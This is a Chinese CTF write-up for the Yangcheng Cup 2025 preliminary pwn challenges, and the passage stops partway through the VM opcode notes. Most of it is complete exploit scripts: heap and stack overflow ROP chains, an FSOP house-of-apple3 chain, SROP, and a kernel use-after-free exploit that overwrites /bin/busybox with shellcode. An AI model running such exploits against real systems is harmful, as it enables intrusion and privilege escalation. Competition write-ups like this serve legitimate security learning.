羊城杯-2025-初赛

羊城杯-2025-初赛

InkeyP Lv3

羊城杯 2025 初赛 WP

CandS

Server存在溢出

第一处base64未做长度校验,存在堆溢出

第二处红框部分虽然做了长度校验,但下面的concat会将两部分拼接起来,总长度还是溢出了

栈溢出正常ORW,因为是cs交互,所以需要read一次接受client的输入,然后send flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python3
from pwncli import *
import json
from typing import Dict, Any, Union

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './server')
if local_flag == "remote":
addr = '45.40.247.139:28229'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process('./client')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
# b *0x4011E0
# ignore 1 1
# b *0x401324
# b *0x4014EF

set glibc 2.27
ida
c
'''
launch_gdb(cmd)

# if local_flag != "remote":
# gift.io = remote('127.0.0.1', 5566)

def send_json_raw(payload: Dict[str, Any]):
try:
data = json.dumps(payload, separators=(",", ":")).encode("utf-8")
s(data)
finally:
return None

def send_nan_s(nan_bytes: bytes, data: Union[Dict[str, Any], str, bytes]):
if isinstance(data, dict):
obj = dict(data)
else:
s = data if isinstance(data, str) else (data.decode("utf-8", errors="ignore"))
obj = json.loads(s)
if not isinstance(obj, dict):
raise ValueError("data must be a JSON object")

obj["NAN"] = base64.b64encode(nan_bytes).decode("ascii")
send_json_raw(obj)

def send_nan(nan_bytes: bytes, data: Union[Dict[str, Any], str, bytes]):
ru(b'Input NAN: ')
s(base64.b64encode(nan_bytes))
ru(b'Input data: ')
s(json.dumps(data, separators=(",", ":")))

json_payload = {
"header": "aa",
# "body": "bb",
"tail": base64.b64encode(b'\xff').decode("ascii"),
"uuid": 1145,
}
send_nan(b'aaa', json_payload)
ru(b'Server response: ')
ret = ru(b'\n}', timeout=999999).decode()
ret_json = json.loads(ret)
ret_gift = base64.b64decode(ret_json["GIFT"])
heap_base = int(ret_gift[ret_gift.find(b'0x') :], 16) - 0x2500
log_heap_base_addr(heap_base)

CG.set_find_area(True, False)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx = CG.pop_rdx_ret()
rbx = CG.pop_rbx_ret()
rax = CG.pop_rax_ret()
r10 = 0x45EB95
syscall = CG.syscall_ret()
lea_rcx = 0x48F72A # : lea rcx, [rax + 1]; call rbx;
mov_rsp_rcx = 0x4AD7A6 # : mov rsp, rcx; ret;

payload = flat([rbx, mov_rsp_rcx, rax, heap_base + 0x2760 - 1, lea_rcx])
payload1 = b'/flag\x00'.ljust(0x10, b'\x00') + flat([rax, 0, rdi, 4, rsi, heap_base + 0x1000, rdx, 0x400, syscall])
payload1 += flat([rax, 2, rdi, heap_base + 0x2750, rsi, 0, syscall])
payload1 += flat([rax, 40, rdi, 4, rsi, 5, rdx, 0, r10, 0x100, syscall])
json_payload = {
"header": "aa",
"body": "b" * 0xC0,
"tail": base64.b64encode(b'\x00' * 0x68 + payload + b'\xff').decode("ascii"),
"uuid": 1146,
}
send_nan(payload1, json_payload)

send_nan(b'aaa', json_payload)

ia()

baby_kk

uaf秒了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>
#include <sys/uio.h>

#define MAX_PIPE_COUNT 0x100
int pipe_fd[MAX_PIPE_COUNT][2];
int already_read[MAX_PIPE_COUNT];

void spray_pipes(int start, int cnt) {
char *buf[0x1000] = { 0 };
printf("[*] enter %s start from index: %d\n", __PRETTY_FUNCTION__, start);

for (int i = start; i < cnt; ++i) {
if (pipe(pipe_fd[i]) < 0) {
perror("create pipe");
exit(0);
}
}
}

void pipe_buffer_resize(){
puts("[*] pipe buffer resize");
for(int i = 0; i < MAX_PIPE_COUNT; i++){
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 4) < 0) {
perror("resize pipe");
exit(0);
}
}
}

void pipe_buffer_init(){
puts("[*] pipe buffer init");
for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
uint32_t k = i;
write(pipe_fd[i][1], "Qanux", 8);
write(pipe_fd[i][1], &k, sizeof(uint32_t));
}
}

#define KK_ALLOC 0x1111
#define KK_FREE 0x2222
#define KK_WRITE 0x3333
#define KK_READ 0x4444

struct request {
void *user_buf;
size_t size;
size_t index;
};

struct request node;

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

unsigned char shellcode[552] = {
0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xE5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x48, 0xB8, 0x2F, 0x72,
0x6F, 0x6F, 0x74, 0x2F, 0x66, 0x6C, 0x50, 0x48, 0x89, 0xE7, 0x31, 0xD2, 0x31, 0xF6, 0x6A, 0x02,
0x58, 0x0F, 0x05, 0x31, 0xC0, 0x6A, 0x03, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01, 0x01, 0x01, 0x01,
0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x0F, 0x05, 0x6A, 0x01, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01,
0x01, 0x01, 0x01, 0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x6A, 0x01, 0x58, 0x0F, 0x05, 0x00, 0x00,
0x2E, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2E, 0x73, 0x68, 0x65, 0x6C, 0x6C,
0x63, 0x6F, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

int fd;
int add(size_t index, size_t size) {
node.index = index;
node.size = size;
return ioctl(fd, KK_ALLOC, &node);
}

int del(size_t index) {
node.index = index;
return ioctl(fd, KK_FREE, &node);
}

int edit(size_t index, void *data, size_t size) {
node.user_buf = data;
node.size = size;
node.index = index;
return ioctl(fd, KK_WRITE, &node);
}

char buf[0x100];
int main(){
FILE *file;
const char *filename = "/tmp/sh";

file = fopen(filename, "w");
if (file == NULL) {
perror("Error opening file");
return 1;
}
fclose(file);

bind_core(0);
save_status();

fd = open("/dev/baby_kk",O_RDWR);
if (fd < 0){
err_exit("open device failed!");
}

spray_pipes(0, MAX_PIPE_COUNT);

puts("[*] alloc buf");
for(int i = 0; i < 0x500; i++){
add(i, 0x100);
}

puts("[*] del buf");
for(int i = 0; i < 0x500; i++){
del(i);
}

pipe_buffer_resize();
pipe_buffer_init();

puts("[*] make null byte");
memset(buf, '\x00', 0x100);
for(int i = 0; i < 0x500; i++){
edit(i, buf, 1);
}

// try to find corrupted pipe_buf
printf("[*] finding corrupted page\n");
int corrupted_index = -1, pointed_index = 0;
for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
already_read[i] = 1;
uint32_t k = 0;
char p_buf[0x10] = { 0 };
memset(p_buf, 0, 0x10);

read(pipe_fd[i][0], p_buf, 8);
read(pipe_fd[i][0], &k, sizeof(uint32_t));

if (k != i) {
corrupted_index = i;
pointed_index = k;
printf("[+] found %d=>%d pipe data: %p\n", i, k, *(uint64_t *)p_buf);
break;
}
usleep(1000);
}
if (corrupted_index == -1) {
printf("[-] failed to find corrupted page\n");
exit(0);
}

close(pipe_fd[corrupted_index][0]);
close(pipe_fd[corrupted_index][1]);
int passwd_fd[0x200];
for(int i = 0; i < 0x100; i++){
passwd_fd[i] = open("/bin/busybox", O_RDONLY);
if(passwd_fd[i] < 0){
err_exit("open file.");
}
}

size_t tmp = 0x480e801f;
write(pipe_fd[pointed_index][1], &tmp, 4);

for(int i = 0; i < 0x100; i++){
int retval = write(passwd_fd[i], shellcode, sizeof(shellcode));
if(retval > 0){
puts("write file success.");
break;
}
}

for(int i = 0; i < 0x100; i++){
close(passwd_fd[i]);
}

puts("[+] EXP END.");
return 0;
}

Malloc

uaf秒了

程序有double free的校验,只需要多free几次就好,程序只遍历14次

apple3打orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = '45.40.247.139:19034'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = gift.libc = ELF('./libc.so.6')

cmd = '''
brva 0x168C
brva 0x1760
brva 0x18C9
brva 0x1999

set $h = $rebase(0x5200)
set $c = $rebase(0x6200)
set $s = $rebase(0x6280)
# ida
c
'''

IAT = b'======================='

def add(idx, size):
sla(IAT, b'1')
sla(b'Index', str(idx))
sla(b'size', str(size))

def dele(idx):
sla(IAT, b'2')
sla(b'Index', str(idx))

def edit(idx, data, size=None):
sla(IAT, b'3')
sla(b'Index', str(idx))
if size is None:
size = len(data)
sla(b'size', str(size))
s(data)

def show(idx):
sla(IAT, b'4')
sla(b'Index', str(idx))

add(0, 0x60)
add(1, 0x60)
dele(1)
dele(0)
show(0)
code_base = u64_ex(ru(b'\nSuccess', drop=True)[-6:]) - 0x5270
set_current_code_base_and_log(code_base)

for i in range(15):
add(i, 0x60)
for i in range(15):
dele(i)
dele(0)

add(0, 0x60)
edit(0, p64(code_base + 0x6200 - 0x10))
for i in range(15):
add(i + 1, 0x60)

add(15, 0x60)
edit(15, p64(code_base + 0x40E0))
show(0)
libc_base = u64_ex(ru(b'\nSuccess', drop=True)[-6:]) - 0x21B6A0
set_current_libc_base_and_log(libc_base)

fake_IO_FILE = code_base + 0x6900
ucontext = flat(
{
0x0: (__shlib_handle := 0), # codecvt->__cd_in.step->__shlib_handle
0x28: (__fct := libc.sym.setcontext), # codecvt->__cd_in.step->__fct rip
0xA0: (_rsp := fake_IO_FILE + 0xE0 + 0xE0),
0x78: (_rbp := 0),
0x68: (_rdi := code_base),
0x70: (_rsi := 0x20000),
0x88: (_rdx := 7),
0x80: (_rbx := 0),
0x98: (_rcx := 0),
# 0x28: (_r8 := 0),
0x30: (_r9 := 0),
0x48: (_r12 := 0),
0x50: (_r13 := 0),
0x58: (_r14 := 0),
0x60: (_r15 := 0),
0xA8: (_rip := libc.sym.mprotect),
0xE0: fake_IO_FILE + 0xE0 + 0xE8, # fldenv [rcx]
0xE8: ShellcodeMall.amd64.cat_flag,
},
filler=b'\x00',
)

IO_payload = flat(
{
0x0: ~(4 | 0x10),
0x10: (_IO_read_end := 0x666), # fp->_IO_read_ptr < fp->_IO_read_end
0x28: (_IO_write_base := 0x666), # fp->_IO_write_ptr < fp->_IO_write_end
0x98: (_codecvt := fake_IO_FILE + 0xA8), # _codecvt
0xA0: (_wide_data := fake_IO_FILE + 0x28), # _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end *A >= *(A + 8)
0xA8: (__cd_instep := fake_IO_FILE + 0xE0), # codecvt->__cd_in.step
0xD8: libc.sym._IO_wfile_jumps + 0x8, # vtable _IO_wfile_jumps -> _IO_wfile_underflow
0xE0: ucontext,
},
filler=b'\x00',
)

edit(
15,
p64(libc.sym._IO_list_all)
+ p64(fake_IO_FILE)
+ p64(fake_IO_FILE + 0x60)
+ p64(fake_IO_FILE + 0x60 * 2)
+ p64(fake_IO_FILE + 0x60 * 3)
+ p64(fake_IO_FILE + 0x60 * 4)
+ p64(fake_IO_FILE + 0x60 * 5)
+ p64(fake_IO_FILE + 0x60 * 6),
)
edit(0, p64(fake_IO_FILE))
edit(1, IO_payload[:0x60])
edit(2, IO_payload[0x60 : 0x60 * 2])
edit(3, IO_payload[0x60 * 2 : 0x60 * 3])
edit(4, IO_payload[0x60 * 3 : 0x60 * 4])
edit(5, IO_payload[0x60 * 4 : 0x60 * 5])
edit(6, IO_payload[0x60 * 5 : 0x60 * 6])
launch_gdb(cmd)

ia()

Stack_Over_Flow

栈溢出,带syscall,srop

还可以直接利用sub_12C9将rax设为stdout,再调到puts泄露0x163A

泄露出的main直接爆破到末位是6B0即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python3
from pwncli import *
import ctypes

clibc = ctypes.CDLL('libc.so.6')

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './Stack_Over_Flow')
if local_flag == "remote":
addr = '45.40.247.139:32494'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
clibc.srand(clibc.time(0))
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
brva 0x1693

set $b = $rebase(0x4010)
c
'''

n2 = 0
while n2 <= 2:
n2 = clibc.rand() % 5
n2 = n2 & 0xFFFFFFFFFFFFFFFF
log_ex(f'n2 = {n2}')

ru(b'Good luck!\n')
s(b'\x00' * 0x108 + b'\x5f')
ru(b'magic number:')
code_base = int(ru(b'\n', drop=True), 10)
for i in range(3, 6):
t = code_base // i
if (t & 0xFFF) == 0x6B0:
code_base = t - 0x16B0
break
# code_base = (int(ru(b'\n', drop=True), 10) // n2) - 0x16B0
set_current_code_base_and_log(code_base)

launch_gdb(cmd)
CG.set_find_area(True, False)
syscall_ret8 = code_base + 0x134F #: syscall; nop; add rsp, 8; ret;
ret = CG.ret()
rbp = CG.pop_rbp_ret()
n2_0 = code_base + 0x160A

payload = b'\x00' * 0x100
payload += p64(code_base + 0x4100)
payload += flat([n2_0, 0, syscall_ret8, 0, syscall_ret8])
sigFrame = SigreturnFrame()
sigFrame.rax = 0
sigFrame.rdi = 0
sigFrame.rsi = code_base + 0x4200
sigFrame.rdx = 0x2000
sigFrame.rip = syscall_ret8
sigFrame.rsp = code_base + 0x4200
payload += bytes(sigFrame)

ru(b'Good luck!\n')
s(payload)
pause()
s(b'a' * 15)
pause()

payload = b'\x00' * 0x8
payload += flat([n2_0, 0, code_base + 0x161F])
payload += p64(code_base + 0x161F) * 0x8 + b'/flag\x00'
s(payload)

payload = b'\x00' * 0x100
payload += p64(code_base + 0x4100)
payload += flat([n2_0, 0, syscall_ret8, 0, syscall_ret8])
sigFrame = SigreturnFrame()
sigFrame.rax = 1
sigFrame.rdi = 1
sigFrame.rsi = code_base + 0x4080
sigFrame.rdx = 0x10
sigFrame.rip = syscall_ret8
sigFrame.rsp = code_base + 0x4218
payload += bytes(sigFrame)
ru(b'Good luck!\n')
s(payload)
pause()
s(b'a' * 15)
libc_base = u64_ex(ru(b'\x00' * 10, drop=True)) - 0x21B6A0
set_current_libc_base_and_log(libc_base)

CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = CG.pop_rdx_rbx_ret()
rcx = CG.pop_rcx_ret()
rax = CG.pop_rax_ret()

payload = b'\x00' * 0x100
payload += p64(code_base + 0x4100)
payload += flat([rsi, code_base + 0x4260, rdi, -100, rdx_rbx, 0, 0, libc.sym.openat])
payload += flat([rdi, 1, rsi, 3, rdx_rbx, 0, 0, rcx, 0x100, libc.sym.sendfile])
ru(b'Good luck!\n')
s(payload)

ia()

Vm

各种地方都有溢出,利用read/write泄露出libc,改stack ROP

trae逆就完了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './vvmm')
if local_flag == "remote":
addr = '45.40.247.139:32703'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
# b *0x402A44
# reg
b *0x402A05
# stack
b *0x402A1A
# reg stack

b *0x402AA4
ida
c
set $tmp = *(void **)((char *)&main_arena + 0x60)
set $r = (void *)((char *)$tmp - 0x60)
set $d = (void *)((char *)$tmp - 0x70)
'''
launch_gdb(cmd)

def gen_op(mode: int, op_id: int, *args) -> bytes:
"""
mode: 0..3(低2位);op_id: 0..63(高6位)
返回:按 VM 编码规则生成的指令字节串
- mode=0: 需要 1 个参数 imm24(支持有符号,相对跳转/调用等)
- mode=1: 需要 1 个参数 reg(0..6)
- mode=2: 需要 2 个参数 regA, regB(均 0..6)
- mode=3: 需要 2 个参数 regA(0..6), imm32(32位,小端)
"""
if not (0 <= mode <= 3):
raise ValueError("mode 必须在 [0..3]")
if not (0 <= op_id <= 63):
raise ValueError("op_id 必须在 [0..63]")

byte0 = ((op_id & 0x3F) << 2) | (mode & 0x03)
out = bytearray([byte0])

def _reg(x):
r = int(x)
if not (0 <= r <= 6):
raise ValueError("寄存器编号必须在 [0..6]")
return r & 0xFF

if mode == 0:
# imm24:3字节,大端;最高位为“符号位”(1=负),其余 23 位为幅值
if len(args) != 1:
raise ValueError("mode=0 需要 1 个参数: imm24")
imm = int(args[0])
sign = 1 if imm < 0 else 0
mag = -imm if imm < 0 else imm
if mag > 0x7FFFFF:
raise ValueError("imm24 超出 23 位幅值范围")
u24 = (sign << 23) | mag
out.extend([(u24 >> 16) & 0xFF, (u24 >> 8) & 0xFF, u24 & 0xFF])

elif mode == 1:
# 单寄存器
if len(args) != 1:
raise ValueError("mode=1 需要 1 个参数: reg")
out.append(_reg(args[0]))

elif mode == 2:
# 双寄存器 regA, regB
if len(args) != 2:
raise ValueError("mode=2 需要 2 个参数: regA, regB")
out.append(_reg(args[0]))
out.append(_reg(args[1]))

elif mode == 3:
# regA + imm32(小端)
if len(args) != 2:
raise ValueError("mode=3 需要 2 个参数: regA, imm32")
out.append(_reg(args[0]))
imm32 = int(args[1]) & 0xFFFFFFFF
out.extend(struct.pack('<I', imm32))

return bytes(out)

'''
输入格式

- 指令流来源: read(0, buf_, 0x800) ,最多 0x800 字节。
- 程序计数器: PC 初始为 0;每次取指都会递增。
- 指令首字节:高 6 位为 op_id ,低 2 位为寻址/操作模式 mode 。
- byte0 = (op_id << 2) | mode
- 操作数读取(随 mode 变化):
- mode=0 (A 类):紧跟 3 字节 imm24 (大端拼接)。
- mode=1 (B 类):紧跟 1 字节 reg (寄存器编号)。
- mode=2 (C 类):紧跟 2 字节: regA 、 regB 。
- mode=3 (D 类):紧跟 1 字节 regA + 4 字节 imm32 (从代码区按 32 位读,宿主小端)。
- 寄存器范围: reg ∈ [0..6] ,否则视为非法(终止)。寄存器映射为 R0..R6 对应 s[2]..s[8] ,其中 R6 实际就是“栈指针/数据指针” SP=s[8] 。
- 旗标(比较结果):由比较指令设置 flag (存于 *((uint8*)s+72) ),值域: 0=eq 、 1=lt 、 2=gt 。
- 访存基址:所有内存访问都以 base=*s (即 buf_ 起始)为基址,地址为 base + offset 。
- 运行结束条件: PC>0x800 或 SP>0x1000 会报错退出;若访问检查失败(见下文的 sub_401215 ),会打印 Insecurity 并退出。
Mode 0(A 类:控制流/栈/系统调用,操作数: imm24 )

- op 36 ('$') : SP -= 4*imm24
- op 37 ('%') : SP += 4*imm24
- op 41 (')') :无条件相对跳转 PC += ±imm24
- op 42 ('*') : je ( flag==0 )相对跳转
- op 43 ('+') : jg ( flag==2 )相对跳转
- op 44 (',') : jl ( flag==1 )相对跳转
- op 45 ('-') : jge ( flag∈{2,0} )相对跳转
- op 46 ('.') : jle ( flag∈{1,0} )相对跳转
- op 47 ('/') : jne ( flag!=0 )相对跳转
- op 48 ('0') : call 相对调用(先将返回地址 PC 压栈,再 PC += ±imm24 )
- op 51 ('3') :IO/退出(直接用寄存器参数): io(op, R0, R1, R2)
- op 52 ('4') :IO/退出( fd 取自内存 *(base+R0) )
- op 53 ('5') :IO/退出( buf 取自内存 *(base+R1) )
